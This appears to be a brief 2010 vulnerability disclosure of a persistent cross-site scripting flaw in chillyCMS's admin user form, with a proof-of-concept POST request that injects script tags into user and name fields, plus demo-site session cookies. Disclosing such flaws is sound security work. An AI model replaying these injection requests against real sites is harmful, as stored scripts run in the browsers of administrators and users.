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chillyCMS Persistent XSS
Vulnerability


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# Vulnerability found in- Admin module

# email Pratulag@yahoo.com

# company aksitservices

# Credit by Pratul Agrawal

# Software chillyCMS

# Site p4ge http://www.opensourcecms.com/demo/2/292/chillyCMS/

# Category CMS / Portals

# Plateform php



# Proof of concept #

Targeted URL:
http://www.opensourcecms.com/demo/2/292/chillyCMS/admin/usergroups.site.php



In ADD LINKS Field provide the malicious script to store in the
Database.



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Request -
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POST /chillycms/admin/usersgroups.site.php HTTP/1.1
Host: demo.opensourcecms.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8)
Gecko/20100202 Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://demo.opensourcecms.com/chillycms/admin/userform.site.php
Cookie: __utma=87180614.1562082400.1268211497.1268727582.1268736168.10;
__utmz=87180614.1268727582.9.6.utmcsr=php.opensourcecms.com|utmccn=(referra
l)|utmcmd=referral|utmcct=/scripts/details.php; __utmc=87180614;
sid=c619059e8ecb02bfd5013f4cffe9f23f;
PHPSESSID=d99927af4737c0c6df62d8f28bb1219a;
CMSSESSID15baf25f=98ecec19a538065e285d7837054c7df9; ccc_lang=en;
__utmb=87180614.6.10.1268736168; CCC_UID=c4ca4238a0b923820dcc509a6f75849b;
CCC_CODE=7839a866ba37a8a0e8dbd669545b57d9
Content-Length: 154

user="><script>alert(123)</script>&name=">
<script>alert(123)</script>&pw=master&pw2=master&em
ail=master%40yahoo.com&gids%5B%5D=2&status=1&language=en&ge
tnewsletter=1&myaction=new&action=updateuser&id=

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Response-
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HTTP/1.1 200 OK
Date: Tue, 16 Mar 2010 11:53:11 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.7a
mod_bwlimited/1.4 PHP/5.2.12
X-Powered-By: PHP/5.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 6337
Content-Type: text/html




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After completion Just Refres the page and the malicious script get
executed again and again.


#If you have any questions, comments, or concerns, feel free to contact
me.

  References :  

None